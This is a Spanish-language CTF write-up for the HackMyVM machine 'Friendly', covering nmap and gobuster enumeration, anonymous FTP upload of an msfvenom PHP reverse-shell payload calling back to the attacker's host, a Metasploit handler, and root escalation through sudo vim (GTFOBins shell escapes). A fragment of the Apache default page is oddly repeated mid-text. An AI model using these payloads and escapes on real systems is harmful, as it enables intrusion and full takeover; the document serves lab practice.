

Friendly

- Enumeración
 - Ping
 - Nmap
 - HTTP
 - Fuzzing Web
- Explotación
 - FTP
 - Reverse Shell
 - Escalada de Privilegios
 - Sudo

Resolviendo la máquina Friendly

En esta publicación, comparto cómo resolví la máquina **Friendly** de **HackMyVM**.

Enumeración

Ping

Ejecutamos un *ping* para comprobar la conectividad y obtener pistas sobre el sistema operativo.

```
ping -c 1 192.168.1.45
```

```
PING 192.168.1.45 (192.168.1.45) 56(84) bytes of data.  
64 bytes from 192.168.1.45: icmp_seq=1 ttl=64 time=1.93 ms  
  
— 192.168.1.45 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 1.932/1.932/1.932/0.000 ms
```

TTL=64 -> Linux

Nmap

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.45 -oG allPorts
```

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 09:11 CEST
Initiating ARP Ping Scan at 09:11
Scanning 192.168.1.45 [1 port]
Completed ARP Ping Scan at 09:11, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:11
Scanning 192.168.1.45 [65535 ports]
Discovered open port 80/tcp on 192.168.1.45
Discovered open port 21/tcp on 192.168.1.45
Completed SYN Stealth Scan at 09:11, 6.19s elapsed (65535 total ports)
Nmap scan report for 192.168.1.45
Host is up, received arp-response (0.00055s latency).
Scanned at 2025-07-26 09:11:50 CEST for 6s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
21/tcp    open  ftp      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
MAC Address: 08:00:27:A2:9F:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65537 (2.622MB)
```

```
nmap -p21,80 -sCV 192.168.1.45 -oN targeted
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 09:12 CEST
Nmap scan report for 192.168.1.45
Host is up (0.00062s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -rw-r--r--  1 root    root      10725 Feb 23  2023 index.html
80/tcp    open  http     Apache httpd 2.4.54 ((Debian))
|_ http-title: Apache2 Debian Default Page: It works
|_ http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:A2:9F:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds
```

HTTP

```
http://192.168.1.45/
```



Apache2 Debian Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at `/var/www/html/index.html`) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Debian tools. The configuration system is **fully documented in `/usr/share/doc/apache2/README.Debian.gz`**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the `apache2-doc` package was installed on this server.

Fuzzing Web

```
gobuster dir -u http://192.168.1.45/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 64
```

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:          http://192.168.1.45/
[+] Method:       GET
[+] Threads:      64
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Timeout:      10s

Starting gobuster in directory enumeration mode

/server-status      (Status: 403) [Size: 277]
Progress: 207643 / 207644 (100.00%)

Finished
```

installation on Debian systems.
at this site is working properly.
before continuing to operate yo

If you are a normal user of this
that the site is currently unava
site's administrator

Debian's Apache2 default confi
into several files optimized for
documented in `/usr/share/d`
documentation. Documentation
`apache2-doc` package was inst
The configuration layout for an

Explotación

FTP

Se ha visto en la enumeración, que en el puerto 21, se encuentra habilitado el servicio **FTP** con el inicio de sesión anónimo.

```
ftp anonymous@192.168.1.45
```

```
Connected to 192.168.1.45.
220 ProFTPD Server (friendly) [::ffff:192.168.1.45]
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||59227|)
150 Opening ASCII mode data connection for file list
-rw-r--r--  1 root    root      10725 Feb 23  2023 index.html
```

Se crea un *payload* *malicioso*..

```
msfvenom -p php/reverse_php LHOST=192.168.1.127 LPORT=1234 -f raw > pwned.php
```

Se sube el archivo generado.

```
put pwned.php
```

```
ls
```

```
229 Entering Extended Passive Mode (|||20720|)
150 Opening ASCII mode data connection for file list
-rw-r--r--  1 root    root      10725 Feb 23  2023 index.html
-rw-r--r--  1 ftp     nogroup   2704 Jul 26 07:23 pwned.php
226 Transfer complete
```

Reverse Shell

Se inicia una escucha en el puerto 1234 para recibir la *reverse shell*.

```
vim handler.rc
```

```
use multi/handler
set PAYLOAD php/reverse_php
set LHOST 192.168.1.127
set LPORT 1234
run
```

```
msfconsole -r handler.rc
```

```
http://192.168.1.45/pwned.php
```

```
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
resource (handler.rc)> set LHOST 192.168.1.127
LHOST => 192.168.1.127
resource (handler.rc)> set LPORT 1234
LPORT => 1234
resource (handler.rc)> run
[*] Started reverse TCP handler on 192.168.1.127:1234
[*] Command shell session 1 opened (192.168.1.127:1234 → 192.168.1.45:33248) at 2025-07-26 09:26:43 +0200

whoami
www-data
```

background

sessions -u 1

sessions 2

Escalada de Privilegios

Sudo

sudo -l

```
Matching Defaults entries for www-data on friendly:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
or Edit Plugins (user's blog)
User www-data may run the following commands on friendly:
  (ALL : ALL) NOPASSWD: /usr/bin/vim
```

Se detecta el binario `/usr/bin/vim`, se realiza una búsqueda por **GTFOBins**.

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

(a) `sudo vim -c '!/bin/sh'`

(b) This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.

```
sudo vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

(c) This requires that `vim` is compiled with Lua support.

```
sudo vim -c ':lua os.execute("reset; exec sh")'
```

```
sudo vim -c ':/bin/sh'
```

```
whoami  
root
```
